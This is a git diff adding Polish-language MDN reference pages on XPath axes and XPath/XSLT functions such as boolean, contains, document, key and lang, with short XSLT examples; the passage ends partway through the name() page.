Polecamy przeczytanie innych poradników do XML-a i odświeżenie wiedzy na temat jego składni. Należy pamiętać, że ten poradnik jest tylko krótkim wstępem dla osób, które nigdy nie zetknęły się z językiem XML lub innymi językami znacznikowymi. +

Warto nauczyć się języka HTML, aby lepiej zrozumieć XML, lub zapoznać się z innymi przewodnikami z tej strony. +

+
+

Informacja o wersji

+
  • Autor: Justin G. Shreve +
  • Ostatnia aktualizacja: 19 Maja +
  • Tłumaczenie: Zbigniew Braniecki +
+
+{{ languages( { "en": "en/XML_Introduction", "es": "es/Introducci\u00f3n_a_XML", "fr": "fr/Introduction_\u00e0_XML", "ja": "ja/XML_Introduction", "zh-cn": "cn/XML_\u4ecb\u7ecd" } ) }} diff --git a/files/pl/web/xpath/axes/index.html b/files/pl/web/xpath/axes/index.html new file mode 100644 index 0000000000..2822465e16 --- /dev/null +++ b/files/pl/web/xpath/axes/index.html @@ -0,0 +1,44 @@ +--- +title: Osie +slug: Web/XPath/Osie +tags: + - Dokumentacje + - Wszystkie_kategorie + - XPath + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Axes +--- +

+{{ XsltRef() }} +

Znajduje się tu trzynaście różnych osi ze specyfikacji XPath. Oś reprezentuje relację z wierzchołkiem kontekstu i używana jest, aby odnaleźć wierzchołki względne do danego wierzchołka w drzewie. Poniżej umieszczono niezwykle krótki opis trzynastu dostępnych osi i stopień ich obsługi dostępny w Gecko. +

Aby uzyskać więcej informacji na temat zastosowania XPath, zobacz fragment Przeczytaj więcej na końcu dokumentu Transformacje XML z XSLT. +

+
ancestor (przodek) +
Wskazuje wszystkich przodków wierzchołka kontekstu, zaczynając od wierzchołka-rodzica i podążając do wierzchołka głównego. +
ancestor-or-self (przodek lub bieżący) +
Wskazuje wierzchołek kontekstu i wszystkich jego przodków, włączając wierzchołek główny.
attribute (atrybuty) +
Wskazuje atrybutu wierzchołka kontekstu. Tylko elementy posiadają atrybuty. Oś ta może być skrócona do znaku at (@). +
child (dziecko) +
Wskazuje dzieci wierzchołka kontekstu. Jeśli wyrażenie XPath nie określa osi, to oś child jest rozumiana domyślnie. Ponieważ tylko wierzchołek główny lub wierzchołki elementu posiadają dzieci, każde inne użycie nie zaznaczy niczego. +
descendant (potomek) +
Wskazuje wszystkie dzieci wierzchołka kontekstu, wszystkie ich dzieci i tak dalej. Wierzchołki atrybutu i przestrzeni nazw nie są włączone - rodzic (parent) wierzchołka attribute jest wierzchołkiem elementu, ale wierzchołki attribute nie są dziećmi ich rodziców. +
descendant-or-self (potomek lub bieżący) +
Wskazuje wierzchołek kontekstu i wszystkich jego potomków. Wierzchołki atrybutu i przestrzeni nazw nie są włączone - rodzic (parent) wierzchołka attribute jest wierzchołkiem elementu, ale wierzchołki attribute nie są dziećmi ich rodziców.
following (następujący) +
Wskazuje wszystkie wierzchołki, które pojawiają się za wierzchołkiem kontekstu, za wyjątkiem wierzchołków descendant, attribute i namespace. +
following-sibling (następujący siostrzany) +
Wskazuje wszystkie wierzchołki posiadające tego samego rodzica co wierzchołek kontekstu i pojawiające się przed wierzchołkiem kontekstu w dokumencie źródłowym. +
namespace (przestrzeń nazw, nieobsługiwana) +
Wskazuje wszystkie wierzchołki znajdujące się w zasięgu wierzchołka kontekstu. W tym przypadku, wierzchołek kontekstu musi być wierzchołkiem elementu.
parent (rodzic) +
Wskazuje pojedynczy wierzchołek będący rodzicem wierzchołka kontekstu. Może być skrócona do dwóch kropek (..). +
preceding (poprzedzający) +
Wskazuje wszystkie wierzchołki poprzedzające wierzchołek kontekstu w dokumencie, za wyjątkiem wierzchołków ancestor, attribute i namespace. +
preceding-sibling (poprzedzający siostrzany) +
Wskazuje wszystkie wierzchołki posiadające tego samego rodzica co wierzchołek kontekstu i pojawiające się przed wierzchołkiem kontekstu w dokumencie źródłowym.
self (bieżący) +
Wskazuje sam wierzchołek kontekstu. Może być skrócona do pojedynczej kropki (.). +
+


+

+
+
+{{ languages( { "en": "en/XPath/Axes", "es": "es/XPath/Ejes", "fr": "fr/XPath/Axes", "ja": "ja/XPath/Axes", "zh-cn": "cn/XPath/Axes" } ) }} diff --git a/files/pl/web/xpath/functions/boolean/index.html b/files/pl/web/xpath/functions/boolean/index.html new file mode 100644 index 0000000000..15009d3c16 --- /dev/null +++ b/files/pl/web/xpath/functions/boolean/index.html @@ -0,0 +1,38 @@ +--- +title: boolean +slug: Web/XPath/Funkcje/boolean +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/boolean +--- +

+{{ XsltRef() }} +


+Funkcja boolean ocenia wyrażenie i zwraca prawdę (true) lub fałsz (false). +

+

Składnia

+
boolean( wyrażenie )
+
+

Argumenty

+
wyrażenie +
Oceniane wyrażenie. Wyrażenie może odnosić się zarówno do liczb, jak i do zestawów wierzchołków tak samo jak do wartości logicznych.
+

Zwraca

+

Wartość logiczną true lub false po ocenie wyrażenie. +

+

Uwagi

+
  • Fałsz, jeśli liczba jest zerem lub NaN (nie jest liczbą). Inaczej jest prawdą. +
  • Wierzchołek jest oceniany jako prawda, jeśli nie jest on pusty.
  • Fałsz, jeśli łańcuch znaków jest pusty. Inaczej jest prawdą. +
  • Typ obiektu inny niż cztery typy podstawowe jest konwertowany do wartości logicznej w sposób zależny od tego typu. +
+

Definicja

+

XPath 1.0 4.3 +

+

Gecko

+

Obsługuje. +

+
+
+{{ languages( { "en": "en/XPath/Functions/boolean", "fr": "fr/XPath/Fonctions/boolean", "ja": "ja/XPath/Functions/boolean" } ) }} diff --git a/files/pl/web/xpath/functions/ceiling/index.html b/files/pl/web/xpath/functions/ceiling/index.html new file mode 100644 index 0000000000..ddfd5595e4 --- /dev/null +++ b/files/pl/web/xpath/functions/ceiling/index.html @@ -0,0 +1,36 @@ +--- +title: ceiling +slug: Web/XPath/Funkcje/ceiling +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/ceiling +--- +

+{{ XsltRef() }} +


+Funkcja ceiling ocenia liczbę dziesiętną i zwraca najmniejszą liczbę całkowitą większą lub równą podanej liczbie dziesiętnej.

+

Składnia

+
ceiling( liczba )
+
+

Argumenty

+
liczba +
Oceniana liczba. +
+

Zwraca

+

Najbliższą liczbę całkowitą większą lub równą liczba. +

+

Przykładowo:

+

    ceiling (5.2) = 6

+

    ceiling (-5.2) = -5

+

Definicja

+

XPath 1.0 4.4 +

+

Gecko

+

Obsługuje. +

+
+
+{{ languages( { "en": "en/XPath/Functions/ceiling", "fr": "fr/XPath/Fonctions/ceiling", "ja": "ja/XPath/Functions/ceiling" } ) }} diff --git a/files/pl/web/xpath/functions/concat/index.html b/files/pl/web/xpath/functions/concat/index.html new file mode 100644 index 0000000000..35a0d5f932 --- /dev/null +++ b/files/pl/web/xpath/functions/concat/index.html @@ -0,0 +1,31 @@ +--- +title: concat +slug: Web/XPath/Funkcje/concat +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/concat +--- +

+{{ XsltRef() }} +


+Funkcja concat łączy dwa lub więcej ciągów i zwraca łańcuch znaków będący wynikiem takiego łączenia.

+

Składnia

+
concat( string1 , string2 [, stringn]* )
+
+

Argumenty

+
stringn +
Ta funkcja przyjmuje dwa lub więcej argumentów. Każdy jego argument jest łańcuchem znaków.
+

Zwraca

+

Pojedynczy łańcuch znaków będący połączeniem wszystkich ciągów przekazanych funkcji jako argumenty.

+

Definicja

+

XPath 1.0 4.2 +

+

Gecko

+

Obsługuje. +

+
+
+{{ languages( { "en": "en/XPath/Functions/concat", "fr": "fr/XPath/Fonctions/concat", "ja": "ja/XPath/Functions/concat" } ) }} diff --git a/files/pl/web/xpath/functions/contains/index.html b/files/pl/web/xpath/functions/contains/index.html new file mode 100644 index 0000000000..e295462b27 --- /dev/null +++ b/files/pl/web/xpath/functions/contains/index.html @@ -0,0 +1,36 @@ +--- +title: contains +slug: Web/XPath/Funkcje/contains +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/contains +--- +

+{{ XsltRef() }} +


+Funkcja contains określa, czy w pierwszym argumencie ciągu jest zawarty drugi argument ciągu i zwraca prawdę lub fałsz.

+

Składnia

+
contains( stóg siana , igła )
+
+

Argumenty

+
stóg siana +
Ciąg przeszukiwany +
+
igła +
Ciąg szukany jako podciąg stóg siana +
+

Zwraca

+

True, jeśli stóg siana zawiera igła. W innym przypadku false. +

+

Definicja

+

XPath 1.0 4.2 +

+

Gecko

+

Obsługuje. +

+
+
+{{ languages( { "en": "en/XPath/Functions/contains", "es": "es/XPath/Funciones/contains", "fr": "fr/XPath/Fonctions/contains", "ja": "ja/XPath/Functions/contains" } ) }} diff --git a/files/pl/web/xpath/functions/count/index.html b/files/pl/web/xpath/functions/count/index.html new file mode 100644 index 0000000000..5be5ce5039 --- /dev/null +++ b/files/pl/web/xpath/functions/count/index.html @@ -0,0 +1,33 @@ +--- +title: count +slug: Web/XPath/Funkcje/count +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/count +--- +

+{{ XsltRef() }} +


+Funkcja count zlicza liczbę wierzchołków w zbiorze zbiór_wierzchołków i zwraca liczbę całkowitą.

+

Składnia

+
count( zbiór_wierzchołków )
+
+

Argumenty

+
zbiór_wierzchołków +
Zbiór wierzchołków do zliczenia. +
+

Zwraca

+

Liczbę całkowitą reprezentującą liczbę wierzchołków w zbiorze zbiór_wierzchołków. +

+

Definicja

+

XPath 1.0 4.1 +

+

Gecko

+

Obsługuje. +

+
+
+{{ languages( { "en": "en/XPath/Functions/count", "fr": "fr/XPath/Fonctions/count", "ja": "ja/XPath/Functions/count" } ) }} diff --git a/files/pl/web/xpath/functions/current/index.html b/files/pl/web/xpath/functions/current/index.html new file mode 100644 index 0000000000..cb3752d7eb --- /dev/null +++ b/files/pl/web/xpath/functions/current/index.html @@ -0,0 +1,30 @@ +--- +title: current +slug: Web/XPath/Funkcje/current +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/current +--- +

+{{ XsltRef() }} +

Funkcja current może zostać użyta do pobrania wierzchołka kontekstowego w instrukcji XSTL.

+

Składnia

+
current()
+
+

Zwraca

+

Zbiór wierzchołków zawierający wyłącznie aktualny wierzchołek.

+

Uwagi

+

Ta funkcja jest specyficznym dla XSLT dodatkiem do XPath. Nie jest częścią głównej biblioteki funkcji XPath.

Aktualny wierzchołek jest zawsze taki sam jak wierzchołek kontekstowy. Następujące dwie funkcje są semantycznie równoważne.

+
<xsl:value-of select="current()"/>
+
+
<xsl:value-of select="."/>
+
+

Definicja

+

XSLT 1.0 12.4 +

+

Gecko

+

Obsługuje. +

{{ languages( { "en": "en/XPath/Functions/current", "fr": "fr/XPath/Fonctions/current" } ) }} diff --git a/files/pl/web/xpath/functions/document/index.html b/files/pl/web/xpath/functions/document/index.html new file mode 100644 index 0000000000..c69211937f --- /dev/null +++ b/files/pl/web/xpath/functions/document/index.html @@ -0,0 +1,42 @@ +--- +title: document +slug: Web/XPath/Funkcje/document +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/document +--- +

+{{ XsltRef() }} +


+document znajduje zbiór wierzchołków w jednym lub wielu zewnętrznych dokumentach i zwraca wynik jako zbiór wierzchołków.

+

Składnia

+
document( URI [, zbiór_wierzchołków] )
+
+

Argumenty

+
URI +
Bezwzględny lub relatywny adres URI dokumentu do pobrania. URI może także zawierać identyfikator fragmentu.
+
zbiór_wierzchołków (opcjonalny) +
Wyrażenie wskazujące zbiór wierzchołków zewnętrznego dokumentu, który powinien zostać zwrócony.
+

Zwraca

+

Zbiór wierzchołków. +

+

Uwagi

+
  • Jeśli URI zawiera identyfikator fragmentu i fragment ten może zostać zidentyfikowany w dokumencie zewnętrznym, będzie on uważany za główny w wyrażeniu argumentu zbiór_wierzchołków. Jeśli argument zbiór_wierzchołków jest pominięty, zwrócony zostanie cały fragment. +
+
  • Jeśli argument URI jest zbiorem wierzchołków i obecny jest drugi argument, każdy wierzchołek w zbiorze wierzchołków zostanie przetworzony jako oddzielny adres URI, a zwrócony zbiór wierzchołków będzie taki, jak gdyby funkcja document została wywołana wielokrotnie, przy czym wynikowe zbiory wierzchołków zostaną połączone w pojedynczy zbiór wierzchołków. +
+
  • Pozostałe specyficzne warunki istnieją wraz z określonymi zachowaniami. Zobacz dokumentację XSLT 1.0, aby uzyskać szczegóły. +
+
  • Gdy adres URI jest względny wobec dokumentu XSL, document("") zwróci wierzchołek główny aktualnego dokumentu. +
+

Ta funkcja jest specyficznym dla XSLT dodatkiem do XPath. Nie jest częścią głównej biblioteki funkcji XPath. +

+

Definicja

+

XSLT 1.0 12.1 +

+

Obsługa Gecko

+

Obsługuje. +

{{ languages( { "en": "en/XPath/Functions/document", "fr": "fr/XPath/Fonctions/document" } ) }} diff --git a/files/pl/web/xpath/functions/element-available/index.html b/files/pl/web/xpath/functions/element-available/index.html new file mode 100644 index 0000000000..59948e8acd --- /dev/null +++ b/files/pl/web/xpath/functions/element-available/index.html @@ -0,0 +1,30 @@ +--- +title: element-available +slug: Web/XPath/Funkcje/element-available +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/element-available +--- +

+{{ XsltRef() }} +


+Funkcja element-available określa czy element jest dostępny i zwraca prawdę lub fałsz.

+

Składnia

+
element-available( QName )
+
+

Argumenty

+
QName +
Musi być prawidłową nazwę (QName). QName jest rozwijany do nazwy za pomocą deklaracji przestrzeni nazw w zasięgu wyrażenia. +
+

Zwraca

+

Zwraca prawdę wtedy i tylko wtedy, gdy rozszerzona nazwa jest nazwą instrukcji. Jeśli rozszerzona nazwa posiada URI przestrzeni nazw identyczny z URI przestrzeni nazw XSLT, to odnosi się ona do elementu zdefiniowanego przez XSLT. W przeciwnym wypadku odnosi się ona do elementu rozszerzenia. Jeśli rozszerzona nazwa posiada puste URI przestrzeni nazw, funkcja zwróci wartość fałsz. +

+

Definicja

+

XSLT 1.0 15 +

+

Gecko

+

Obsługuje. +

{{ languages( { "en": "en/XPath/Functions/element-available", "fr": "fr/XPath/Fonctions/element-available" } ) }} diff --git a/files/pl/web/xpath/functions/false/index.html b/files/pl/web/xpath/functions/false/index.html new file mode 100644 index 0000000000..9eb932a51b --- /dev/null +++ b/files/pl/web/xpath/functions/false/index.html @@ -0,0 +1,37 @@ +--- +title: 'false' +slug: Web/XPath/Funkcje/false +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/false +--- +

+{{ XsltRef() }} +


+Funkcja false zwraca wartość logiczną fałsz. +

+

Składnia

+
false()
+
+

Zwraca

+

Wartość logiczną false. +

+

Uwagi

+

Ta funkcja jest użyteczna jako część porównania: +

+
<xsl:if test="boolean((1 &gt; 2) = false())">
+ Wyrażenie jest ocenione jako true
+</xsl:if>
+
+

Definicja

+

XPath 1.0 4.3 +

+

Gecko

+

Obsługuje. +

+
+
+{{ languages( { "en": "en/XPath/Functions/false", "fr": "fr/XPath/Fonctions/false", "ja": "ja/XPath/Functions/false" } ) }} diff --git a/files/pl/web/xpath/functions/floor/index.html b/files/pl/web/xpath/functions/floor/index.html new file mode 100644 index 0000000000..1d82807ae2 --- /dev/null +++ b/files/pl/web/xpath/functions/floor/index.html @@ -0,0 +1,33 @@ +--- +title: floor +slug: Web/XPath/Funkcje/floor +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/floor +--- +

+{{ XsltRef() }} +


+Funkcja floor ocenia liczbę dziesiętną i zwraca największą liczbę całkowitą mniejszą lub równą podanej liczbie dziesiętnej.

+

Składnia

+
floor( liczba )
+
+

Argumenty

+
liczba +
Oceniana liczba dziesiętna. +
+

Zwraca

+

Najbliższą liczbę całkowitą mniejszą lub równą wartości liczba. +

+

Definicja

+

XPath 1.0 4.4 +

+

Gecko

+

Obsługuje. +

+
+
+{{ languages( { "en": "en/XPath/Functions/floor", "fr": "fr/XPath/Fonctions/floor", "ja": "ja/XPath/Functions/floor" } ) }} diff --git a/files/pl/web/xpath/functions/format-number/index.html b/files/pl/web/xpath/functions/format-number/index.html new file mode 100644 index 0000000000..5801ec3064 --- /dev/null +++ b/files/pl/web/xpath/functions/format-number/index.html @@ -0,0 +1,38 @@ +--- +title: format-number +slug: Web/XPath/Funkcje/format-number +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/format-number +--- +

+{{ XsltRef() }} +


+

Funkcja format-number ocenia liczbę i zwraca łańcuch znaków reprezentujący liczbę w podanym formacie.

+

Składnia

+
format-number( liczba , wzorzec [, format_dziesiętny] )
+
+

Argumenty

+
liczba +
Liczba do sformatowania +
+
wzorzec +
Łańcuch znaków w formacie klasy DecimalFormat JDK 1.1 (Dokumentacja JDK 1.1 nie jest dostępna. Dostępne są informacje dotyczące Java SE 6 DecimalFormat.). +
+
format_dziesiętny (opcjonalnie) +
Nazwa elementu xsl:decimal-format definiująca format liczby, który ma zostać użyty. Jeśli argument zostanie pominięty, użyty zostanie format dziesiętny. +
+

Zwraca

+

Łańcuch znaków reprezentujący liczbę w nowym formacie. +

+

Uwagi

+

Ta funkcja jest specyficznym dla XSLT dodatkiem do XPath. Nie jest częścią głównej biblioteki funkcji XPath.

+

Definicja

+

XSLT 1.0 12.3 +

+

Gecko

+

Obsługuje. +

{{ languages( { "en": "en/XPath/Functions/format-number", "fr": "fr/XPath/Fonctions/format-number" } ) }} diff --git a/files/pl/web/xpath/functions/function-available/index.html b/files/pl/web/xpath/functions/function-available/index.html new file mode 100644 index 0000000000..db24249160 --- /dev/null +++ b/files/pl/web/xpath/functions/function-available/index.html @@ -0,0 +1,29 @@ +--- +title: function-available +slug: Web/XPath/Funkcje/function-available +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/function-available +--- +

+{{ XsltRef() }} +


+

Funkcja function-available określa czy podana funkcja jest dostępna i zwraca wartość logiczną prawda lub fałsz.

+

Składnia

+
function-available( nazwa )
+
+

Argumenty

+
name +
Nazwa funkcji do ocenienia.
+

Zwraca

+

Wartość logiczną true lub false. +

+

Definicja

+

XPath 1.0 15 +

+

Gecko

+

Obsługuje. +

{{ languages( { "en": "en/XPath/Functions/function-available", "fr": "fr/XPath/Fonctions/function-available" } ) }} diff --git a/files/pl/web/xpath/functions/generate-id/index.html b/files/pl/web/xpath/functions/generate-id/index.html new file mode 100644 index 0000000000..92ba7a2774 --- /dev/null +++ b/files/pl/web/xpath/functions/generate-id/index.html @@ -0,0 +1,36 @@ +--- +title: generate-id +slug: Web/XPath/Funkcje/generate-id +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/generate-id +--- +

+{{ XsltRef() }} +


+Funkcja generate-id generuje unikatowy identyfikator dla pierwszego wierzchołka w podanym zbiorze wierzchołków i zwraca łańcuch znaków zawierający ten identyfikator.

+

Składnia

+
generate-id( [zbiór_wierzchołków] )
+
+

Argumenty

+
zbiór_wierzchołków (opcjonalny) +
Zostanie wygenerowany identyfikator dla pierwszego wierzchołka tego zbioru wierzchołków. Jeśli argument zostanie pominięty, zostanie użyty aktualny wierzchołek kontekstu. +
+

Zwraca

+

Łańcuch znaków zawierający wygenerowany identyfikator. +

+

Uwagi

+
  • Ten sam identyfikator musi zostać wygenerowany każdorazowo dla tego samego wierzchołka w aktualnym dokumencie aktualnej transformacji. +
+
  • Wygenerowany identyfikator nie może być taki sam w kolejnej transformacji. +
+

Ta funkcja jest specyficznym dla XSLT dodatkiem do XPath. Nie jest częścią głównej biblioteki funkcji XPath.

+

Definicja

+

XSLT 1.0 12.4 +

+

Gecko

+

Obsługuje. +

{{ languages( { "en": "en/XPath/Functions/generate-id", "fr": "fr/XPath/Fonctions/generate-id" } ) }} diff --git a/files/pl/web/xpath/functions/id/index.html b/files/pl/web/xpath/functions/id/index.html new file mode 100644 index 0000000000..8473cb77f6 --- /dev/null +++ b/files/pl/web/xpath/functions/id/index.html @@ -0,0 +1,36 @@ +--- +title: id +slug: Web/XPath/Funkcje/id +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/id +--- +

+{{ XsltRef() }} +


+Funkcja id znajduje wierzchołki, które odpowiadają podanym identyfikatorom i zwraca zbiór wierzchołków zawierający zidentyfikowane wierzchołki. +

+

Składnia

+
id( wyrażenie )
+
+

Argumenty

+
wyrażenie +
Jeśli wyrażenie jest zbiorem wierzchołków, to wartość łańcucha znaków każdego wierzchołka w zbiorze wierzchołków jest traktowana jako odrębny identyfikator. Zwrócony zbiór wierzchołków to wierzchołki odpowiadające tym identyfikatorom.
+
Jeśli wyrażenie jest łańcuchem znaków lub czymkolwiek innym niż zbiór wierzchołków, to wyrażenie jest traktowane jako lista identyfikatorów oddzielonych za pomocą spacji. Zwrócony zbiór wierzchołków to wierzchołki odpowiadające tym identyfikatorom.
+

Zwraca

+

Zbiór wierzchołków zawierajacy wierzchołek lub wierzchołki zidentyfikowane za pomocą podanego identyfikatora lub identyfikatorów.

+

Uwagi

+
  • DTD dokumentu XML określa jakim atrybutem jest ID. Zobacz XPath 1.0 5.2.1 +
+

Definicja

+

XPath 1.0 4.1 +

+

Gecko

+

Częściowo obsługuje. +

+
+
+{{ languages( { "en": "en/XPath/Functions/id", "fr": "fr/XPath/Fonctions/id", "ja": "ja/XPath/Functions/id" } ) }} diff --git a/files/pl/web/xpath/functions/index.html b/files/pl/web/xpath/functions/index.html new file mode 100644 index 0000000000..0ea3d23bfa --- /dev/null +++ b/files/pl/web/xpath/functions/index.html @@ -0,0 +1,55 @@ +--- +title: Funkcje +slug: Web/XPath/Funkcje +tags: + - Dokumentacje + - Wszystkie_kategorie + - XPath + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions +--- +

{{ XsltRef() }} Poniżej znajduje się lista objaśnionych funkcji głównych XPath i specyficznych dla XSLT dodatków do XPath, włączając opis, składnię, listę argumentów, typ wyniku oraz źródło w odpowiedniej rekomendacji W3C i stopień aktualnej obsługi przez Gecko. Aby uzyskać więcej informacji na temat zastosowania funkcji XPath/XSLT, przejdź na stronę: Przeczytaj więcej.

+ + + +

 

+ +
 
diff --git a/files/pl/web/xpath/functions/key/index.html b/files/pl/web/xpath/functions/key/index.html new file mode 100644 index 0000000000..41db252168 --- /dev/null +++ b/files/pl/web/xpath/functions/key/index.html @@ -0,0 +1,36 @@ +--- +title: key +slug: Web/XPath/Funkcje/key +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/key +--- +

+{{ XsltRef() }} +


+Funkcja key zwraca zbiór wierzchołków posiadających podaną wartość danego klucza.

+

Składnia

+
key( nazwaklucza , wartość )
+
+

Argumenty

+
nazwaklucza +
Łańcuch znaków zawierający nazwę elementu xsl:key do użycia. +
+
wartość +
Zwrócony zbiór wierzchołków będzie zawierał każdy wierzchołek, który posiada tę wartość dla danego klucza.
+

Zwraca

+

Zbiór wierzchołków. +

+

Uwagi

+
  • Element xsl:key określa, który atrybut i z jakich elementów zostanie użyty do dopasowania klucza.
+

Ta funkcja jest specyficznym dla XSLT dodatkiem do XPath. Nie jest częścią głównej biblioteki funkcji XPath. +

+

Definicja

+

XSLT 1.0 12.2 +

+

Gecko

+

Obsługuje. +

{{ languages( { "en": "en/XPath/Functions/key", "fr": "fr/XPath/Fonctions/key" } ) }} diff --git a/files/pl/web/xpath/functions/lang/index.html b/files/pl/web/xpath/functions/lang/index.html new file mode 100644 index 0000000000..fc938aa6c3 --- /dev/null +++ b/files/pl/web/xpath/functions/lang/index.html @@ -0,0 +1,58 @@ +--- +title: lang +slug: Web/XPath/Funkcje/lang +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/lang +--- +

+{{ XsltRef() }} +


+Funkcja lang określa, czy wierzchołek kontekstu jest zgodny z podanym językiem i zwraca wartość logiczną true lub false. +

+

Składnia

+
lang( string )
+
+

Argumenty

+
string +
Kod języka lub lokalizacji (język oraz kraj) do sprawdzenia. +
+

Zwraca

+

True, jeśli wierzchołek kontekstu odpowiada danemu językowi. W przeciwnym wypadku false. +

+

Uwagi

+
  • Język wierzchołka określany jest na podstawie jego atrybutu xml:lang. Jeśli aktualny wierzchołek go nie posiada, wartość jest określana przez najbliższego przodka posiadającego atrybut xml:lang. W przypadku niemożności określenia języka (żaden przodek nie posiada atrybutu xml:lang), funkcja zwróci wartość fałsz. +
+
  • Jeśli dany łańcuch znaków nie określa kodu kraju, funkcja ta porówna wierzchołki tego języka z wszystkimi kodami krajów. Odwrotność nie jest prawdziwa. +
+

Bazując na poniższym fragmencie kodu XML: +

+
<p xml:lang="en">I went up a floor.</p>
+<p xml:lang="en-GB">I took the lift.</p>
+<p xml:lang="en-US">I rode the elevator.</p>
+

Oraz tej części szablonu XSL: +

+
<xsl:value-of select="count(//p[lang('en')])" />
+<xsl:value-of select="count(//p[lang('en-GB')])" />
+<xsl:value-of select="count(//p[lang('en-US')])" />
+<xsl:value-of select="count(//p[lang('de')])" />
+
+

Wynik może być następujący: +

+
3
+1
+1
+0
+
+

Definicja

+

XPath 1.0 4.3 +

+

Gecko

+

Obsługuje. +

+
+
+{{ languages( { "en": "en/XPath/Functions/lang", "fr": "fr/XPath/Fonctions/lang", "ja": "ja/XPath/Functions/lang" } ) }} diff --git a/files/pl/web/xpath/functions/last/index.html b/files/pl/web/xpath/functions/last/index.html new file mode 100644 index 0000000000..f3a507ad3f --- /dev/null +++ b/files/pl/web/xpath/functions/last/index.html @@ -0,0 +1,33 @@ +--- +title: last +slug: Web/XPath/Funkcje/last +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/last +--- +

+{{ XsltRef() }} +


+Funkcja last zwracająca liczbę równą rozmiarowi kontekstu z kontekstu oceny wyrażenia. +

+

Składnia

+
last()
+
+

Zwraca

+

Liczbę całkowitą równą rozmiarowi kontekstu z kontekstu oceny wyrażenia. +

+

Uwagi

+
  • Jest często używana wraz z funkcją position() do określenia, czy konkretny wierzchołek jest ostatni w zbiorze wierzchołków. +
+

Definicja

+

XPath 1.0 4.1 +

+

Gecko

+

Obsługuje. +

+
+
+{{ languages( { "en": "en/XPath/Functions/last", "fr": "fr/XPath/Fonctions/last", "ja": "ja/XPath/Functions/last" } ) }} diff --git a/files/pl/web/xpath/functions/local-name/index.html b/files/pl/web/xpath/functions/local-name/index.html new file mode 100644 index 0000000000..95996699eb --- /dev/null +++ b/files/pl/web/xpath/functions/local-name/index.html @@ -0,0 +1,36 @@ +--- +title: local-name +slug: Web/XPath/Funkcje/local-name +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/local-name +--- +

+{{ XsltRef() }} +


+Funkcja local-name zwraca łańcuch znaków reprezentujący lokalną nazwę pierwszego wierzchołka w danym zbiorze wierzchołków.

+

Składnia

+
local-name( [zbiór_wierzchołków] )
+
+

Argumenty

+
zbiór_wierzchołków (opcjonalny) +
Zostanie zwrócona nazwa lokalna pierwszego wierzchołka w tym zbiorze wierzchołków. Jeśli ten argument jest pominięty, zostanie użyty aktualny wierzchołek kontekstu. +
+

Zwraca

+

Łańcuch znaków +

+

Uwagi

+ +

Definicja

+

XPath 1.0 4.1 +

+

Gecko

+

Obsługuje. +

+
+
+{{ languages( { "en": "en/XPath/Functions/local-name", "fr": "fr/XPath/Fonctions/local-name", "ja": "ja/XPath/Functions/local-name" } ) }} diff --git a/files/pl/web/xpath/functions/name/index.html b/files/pl/web/xpath/functions/name/index.html new file mode 100644 index 0000000000..d9817c87dd --- /dev/null +++ b/files/pl/web/xpath/functions/name/index.html @@ -0,0 +1,35 @@ +--- +title: name +slug: Web/XPath/Funkcje/name +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/name +--- +

+{{ XsltRef() }} +


+Funkcja name zwraca łańcuch znaków reprezentujący QName pierwszego wierzchołka w danym zbiorze wierzchołków.

+

Składnia

+
name( [zbiór_wierzchołków] )
+
+

Argumenty

+
zbiór_wierzchołków (opcjonalny) +
Zostanie zwrócony QName pierwszego wierzchołka w tym zbiorze. Jeśli argument ten zostanie pominięty, użyty zostanie aktualny wierzchołek kontekstu.
+

Zwraca

+

Łańcuch znaków reprezentujący QName wierzchołka. +

+

Uwagi

+
  • QName jest odpowiednią nazwą wierzchołka, włączając prefiks jego przestrzeni nazw i jego lokalną nazwę. +
+

Definicja

+

XPath 1.0 4.1 +

+

Gecko

+

Obsługuje. +

+
+
